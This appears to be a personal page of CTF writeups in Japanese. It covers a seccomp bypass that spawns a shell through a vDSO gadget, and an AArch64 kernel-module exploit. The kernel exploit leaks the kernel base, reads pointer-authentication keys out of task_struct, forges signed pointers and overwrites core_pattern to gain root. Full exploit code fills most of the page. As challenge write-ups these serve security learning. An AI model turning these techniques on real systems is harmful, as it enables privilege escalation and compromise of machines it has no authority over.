CTF Writeups
This section contains writeups for various Capture The Flag (CTF) competitions I’ve participated in. These documents explain my approach, techniques used, and solutions for various security challenges.
Available Writeups
- SECCON 2022
- TSG LIVE 9 CTF
- ASIS CTF 2023
- vsCTF 2023
- DEFCON Quals 2024
- SECCON 2024 Quals
- SECCON 2024 Final
- AlpacaHack Round 10
- TsukuCTF 2025
- IERAE CTF 2025
Misc Writeups
cornCTF 2025 – he protecc
バイナリが渡される。
READ | WRITE| EXEC
な領域が、固定アドレス0x500000
に取られ、任意のコードを書き込み実行できる。
1
2
3
4
5
6
7
8
9
10
11
12
0x400000 0x401000 r--p 1000 0 protected
0x401000 0x4a2000 r-xp a1000 1000 protected
0x4a2000 0x4ca000 r--p 28000 a2000 protected
0x4ca000 0x4cf000 r--p 5000 ca000 protected
0x4cf000 0x4d1000 rw-p 2000 cf000 protected
0x4d1000 0x4d7000 rw-p 6000 0 [anon_004d1]
0x4d7000 0x4f9000 rw-p 22000 0 [heap]
0x500000 0x501000 rwxp 1000 0 [anon_00500]
0x7ffff7ff7000 0x7ffff7ffb000 r--p 4000 0 [vvar]
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 0 [vvar_vclock]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]
しかし、SECCOMPによってあらゆるシステムコールが禁止されている。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0000: 0x20 0x00 0x00 0x00000008 A = instruction_pointer
0001: 0x01 0x00 0x00 0x003fffff X = 4194303 # 0x3fffff
0002: 0x2d 0x00 0x0a 0x00000000 if (A <= X) goto 0013
0003: 0x01 0x00 0x00 0x004b7fff X = 4947967 # 0x4b7fff
0004: 0x2d 0x00 0x07 0x00000000 if (A <= X) goto 0012
0005: 0x01 0x00 0x00 0x004fffff X = 5242879 # 0x4fffff
0006: 0x2d 0x00 0x06 0x00000000 if (A <= X) goto 0013
0007: 0x01 0x00 0x00 0x00500fff X = 5246975 # 0x500fff
0008: 0x2d 0x00 0x03 0x00000000 if (A <= X) goto 0012
0009: 0x20 0x00 0x00 0x0000000c A = instruction_pointer >> 32
0010: 0x01 0x00 0x00 0x00007fff X = 32767 # 0x7fff
0011: 0x2d 0x00 0x01 0x00000000 if (A <= X) goto 0013
0012: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
システムコールが実行可能なのはvdso
領域ぐらいだが、ここには
1
0x0000000000000fad: syscall; ret;
こんなガジェットがある。また、vdso
のベースアドレスは_dl_sysinfo_dso
からリークできる。
ただ、vdso
はカーネルによって異なるので、シェルコード内で該当の命令を探し、それをガジェットとして使う。
1
2
$ asm -c amd64 'syscall; ret'
0f05c3
あとはいい感じに飛べば良い。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from typing import List, Any, Dict
import time
from pwn import context, gdb, ELF, shellcraft, tube, pack, unpack, log, process, p64, p32, SigreturnFrame, ROP, asm, disasm, remote
from libpwncof import PayloadBuffer, LabelRef, create_ucontext
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
# context.log_level = "info"
path = "./protected"
elf = ELF(path)
context.binary = elf
# io: tube = gdb.debug(path)
# io: tube = remote('he-protecc.challs.cornc.tf', 1337, ssl=True)
io: tube = process(path)
# io: tube = remote("127.0.0.1", 10000)
# -1f05c3: syscall; ret
code = f"""
mov r15, [{elf.symbols['_dl_sysinfo_dso']}]
check:
cmp byte ptr [r15 + 0], 0x0f
jne fail
cmp byte ptr [r15 + 1], 0x05
jne fail
cmp byte ptr [r15 + 2], 0xc3
jne fail
jmp found
fail:
inc r15
jmp check
found:
mov rdi, 0x501000
mov rsi, 0x1000
mov rdx, 0x7
mov r10, 0x22
mov r8, 0xffffffff
mov r9, 0
mov rax, 9
call r15
mov rdi, 0
mov rsi, 0x501000
mov rdx, 0x1000
mov rax, 0
call r15
mov r15, 0x501000
jmp r15
"""
a = asm(code)
io.recvuntil("How")
io.sendline(str(len(a)).encode())
io.send(a)
time.sleep(1)
code2 = shellcraft.sh()
a = asm(code2)
io.send(a)
time.sleep(1)
io.interactive()
</details>
Midnight Flag 2025 – SecMem
AArch64のLinux上に次のようなカーネルモジュールが差し込まれる。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/mutex.h>
#define DEVICE_NAME "sec_mem"
#define BUFFER_SIZE 1024
#define MAX_FUNC_NAME 64
typedef ssize_t (*buffer_op_fn)(void *buffer, const void *data, size_t len, int64_t offset);
struct sec_mem_buffer {
char buffer[BUFFER_SIZE];
buffer_op_fn ops[3];
};
static struct sec_mem_buffer device_global_struct;
struct sec_mem_ioctl_data {
size_t length;
uint64_t op_index;
char buffer[BUFFER_SIZE];
int64_t offset;
};
static int major_number;
static struct class *sec_mem_class = NULL;
static struct cdev sec_mem_cdev;
static struct mutex mutex;
struct sec_mem_ioctl_data data;
static int sec_mem_release(struct inode *inode, struct file *file) {
mutex_unlock(&mutex);
pr_info("sec_mem_dev: Device closed\n");
return 0;
}
ssize_t buffer_copy_from_user(void *buffer, const void *data, size_t len, int64_t offset) {
if (len > sizeof(struct sec_mem_buffer)) {
return -EINVAL;
}
memcpy(buffer, data, len);
return len;
}
ssize_t buffer_copy_to_user(void *buffer, const void *data, size_t len, int64_t offset) {
if (len > sizeof(struct sec_mem_buffer)) {
return -EINVAL;
}
memcpy(data, buffer + offset, len);
return len;
}
ssize_t buffer_clear(void *buffer, const void *data, size_t len, int64_t offset) {
memset(buffer, 0, BUFFER_SIZE);
return BUFFER_SIZE;
}
#define sec_mem_IOC_MAGIC 'k'
#define sec_mem_IOC_SET_OPERATION _IOW(sec_mem_IOC_MAGIC, 3, unsigned int)
static void *paciza(void *ptr) {
__asm__ volatile (
"paciza %0"
: "+r" (ptr)
);
return ptr;
}
static void *autiza(void *ptr) {
__asm__ volatile (
"autiza %0"
: "+r" (ptr)
);
return ptr;
}
static void sec_mem_init_ops(void) {
device_global_struct.ops[0] = buffer_copy_from_user;
device_global_struct.ops[1] = buffer_copy_to_user;
device_global_struct.ops[2] = buffer_clear;
for (int i = 0; i < 3; i++) {
device_global_struct.ops[i] = paciza(device_global_struct.ops[i]);
}
}
static int sec_mem_open(struct inode *inode, struct file *file) {
if (!mutex_trylock(&mutex)) {
pr_err("Device is already open!\n");
return -EBUSY;
}
sec_mem_init_ops();
return 0;
}
static long sec_mem_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
if (cmd == sec_mem_IOC_SET_OPERATION) {
if (copy_from_user(&data, (struct sec_mem_ioctl_data *)arg, sizeof(data))) {
return -EFAULT;
}
if (data.op_index >= 3) {
return -EINVAL;
}
void *auth_ptr = autiza(device_global_struct.ops[data.op_index]);
if (!auth_ptr) {
return -EACCES;
}
buffer_op_fn op = (buffer_op_fn)auth_ptr;
ssize_t result = op(device_global_struct.buffer, &data.buffer, data.length, data.offset);
if (result < 0) {
return result;
}
if (copy_to_user(arg, &data, sizeof(data))){
return -EFAULT;
}
return 0;
}
return -EINVAL;
}
static char *sec_mem_devnode(const struct device *dev, umode_t *mode) {
if (mode)
*mode = 0666;
return NULL;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = sec_mem_open,
.release = sec_mem_release,
.unlocked_ioctl = sec_mem_ioctl,
};
static int __init sec_mem_init(void) {
mutex_init(&mutex);
major_number = register_chrdev(0, DEVICE_NAME, &fops);
if (major_number < 0) {
pr_err("sec_mem_dev: Failed to register a major number\n");
return major_number;
}
sec_mem_class = class_create("sec_mem_class");
if (IS_ERR(sec_mem_class)) {
unregister_chrdev(major_number, DEVICE_NAME);
pr_err("sec_mem_dev: Failed to register device class\n");
return PTR_ERR(sec_mem_class);
}
sec_mem_class->devnode = sec_mem_devnode;
device_create(sec_mem_class, NULL, MKDEV(major_number, 0), NULL, DEVICE_NAME);
cdev_init(&sec_mem_cdev, &fops);
cdev_add(&sec_mem_cdev, MKDEV(major_number, 0), 1);
return 0;
}
static void sec_mem_exit(void) {
device_destroy(sec_mem_class, MKDEV(major_number, 0));
cdev_del(&sec_mem_cdev);
class_destroy(sec_mem_class);
unregister_chrdev(major_number, DEVICE_NAME);
}
module_init(sec_mem_init);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Itarow");
MODULE_DESCRIPTION("secure memory driver");
脆弱性は3つ。
buffer_copy_*
が、ユーザからのコピー関数ではなくmemcpy
を使っている。buffer_copy_to_user
のoffset
のチェックがないbuffer_copy_*
の境界チェックが、本来バッファサイズと比較するべきところ、ops
の分も入れてしまっている。
さて、1つ目の2つ目の脆弱性を使うことで、バッファの外の値を読み出すことができる。例えば、offset=1024
とすればバッファの外の、ops
からリードができる。そこら辺の適当なポインタがカーネルを指しているので、モジュールのロードアドレスとカーネルのベースアドレスをリークできる。
2つがリークできたら、適当な計算によってカーネルに対するAARが手に入る。ops
を置き換えてrip
を取りたいが、armのポインタ認証によって暗号化されているため、単純な関数ポインタの書き換えはできない。
ところで、ポインタ認証のための鍵は、task_struct
に保存されている。init
からプロセスを手繰っていき、自身の構造体の鍵をリークすることができる。
ただ、ポインタと鍵から認証済みポインタを作るのは少し面倒だったので、私が開発しているlibkpwnというライブラリに、認証用のコードを書いた。
これで好きな関数を呼び出すことができる。armなのでROPは難しく、良さそうなガジェットを探していたところ、次のようなガジェットを発見した。
1
0x000000000006ee34: str x2, [x3]; ret;
第二引数、第三引数はユーザが自由に渡すことができるため、これによってAAWも実現した。
最後にcore_pattern
を書き換え、root権限を取る。
最終的なexploitを以下に示す。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#define _GNU_SOURCE
#include <kpwn/prelude.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <unistd.h>
#define BUFFER_SIZE 1024
struct sec_mem_ioctl_data {
size_t length;
uint64_t op_index;
char buffer[BUFFER_SIZE];
int64_t offset;
};
void *buf_base = NULL;
int fd;
void *aar(void *kptr) {
struct sec_mem_ioctl_data data;
data.op_index = 1;
data.length = 1024;
memset(data.buffer, 0, 1024);
data.offset = -(int64_t)buf_base + (int64_t)kptr;
SYSCHK(ioctl(fd, 0x40046b03, &data));
void *content = calloc(1, 1024);
memcpy(content, data.buffer, 1024);
return content;
}
int main(int argc, char **argv) {
noaslr(argc, argv);
set_process_name("exploit");
init_billy(argv);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
log_level = LOG_INFO;
log_info("start pwning");
fd = SYSCHK(open("/dev/sec_mem", O_RDWR));
struct sec_mem_ioctl_data data;
data.op_index = 1;
data.length = 1024;
memset(data.buffer, 0, 1024);
data.offset = 1024;
SYSCHK(ioctl(fd, 0x40046b03, &data));
hexdump(log_info, data.buffer, 0x30);
void **leaks = (void **)data.buffer;
log_info("copy_from_user: %p", leaks[0]);
log_info("copy_to_user: %p", leaks[1]);
log_info("clear: %p", leaks[2]);
void *kbase = leaks[10] - 0xb894e8;
buf_base = leaks[6] - 0x430;
set_kbase(kbase);
log_success("buf_base = %p", buf_base);
// init_task: 0xb019c0
// list: 0x338
// name: 0x5e8
// key: 0xf28
void *task = kbase + 0xb019c0;
while (1) {
char *name = aar(task + 0x5e8);
// log_info("checking task %p, name: %s", task, name);
if (strcmp(name, "exploit") == 0) {
log_success("task found at %p", task);
free(name);
break;
}
free(name);
void **next = aar(task + 0x338);
if (next[0] == NULL) {
log_error("task not found");
return -1;
}
task = next[0] - 0x338;
free(next);
}
uint64_t *keys = aar(task + 0xf28);
uint64_t lo = keys[0];
uint64_t hi = keys[1];
free(keys);
log_success("found pac-keys! lo: 0x%lx, hi: 0x%lx", lo, hi);
pauth_key key;
key.lo = lo;
key.hi = hi;
uint64_t clear_func = (uint64_t)(buf_base - 0x2504);
uint64_t clear_pacced = pauth_addpac(clear_func, 0, key);
uint64_t clear_leaked = (uint64_t)leaks[2];
log_info("checking pac keys: ours: `buffer_clear`: 0x%lx, leaked: 0x%lx",
clear_pacced, clear_leaked);
ASSERT_MSG(clear_pacced == clear_leaked,
"clear_func pacced does not match leaked clear_func");
// 0x000000000006ee34: str x2, [x3]; ret;
uint64_t gadget = 0x000000000006ee34 + (uint64_t)kbase;
log_info("gadget at 0x%lx", gadget);
uint64_t pac = pauth_addpac(gadget, 0, key);
log_info("pacced gadget: 0x%lx", pac);
struct kbuf {
size_t length;
uint64_t op_index;
char s[1024];
union {
void *ops[3];
int64_t offset;
};
} buf;
buf.length = 1024 + 8 * 1;
buf.op_index = 0;
memset(buf.s, 0, sizeof(buf.s));
buf.ops[0] = (void *)pac;
SYSCHK(ioctl(fd, 0x40046b03, &buf));
uint64_t write_data = pc64("|/tmp/x");
uint64_t dest = 0xb8a560 + (uint64_t)kbase; // core pattern
buf.op_index = 0;
buf.length = write_data; // x2
buf.offset = dest; // x3
ioctl(fd, 0x40046b03, &buf); // ignore error
trigger_corewin("/tmp/x", LPE_BILLY);
}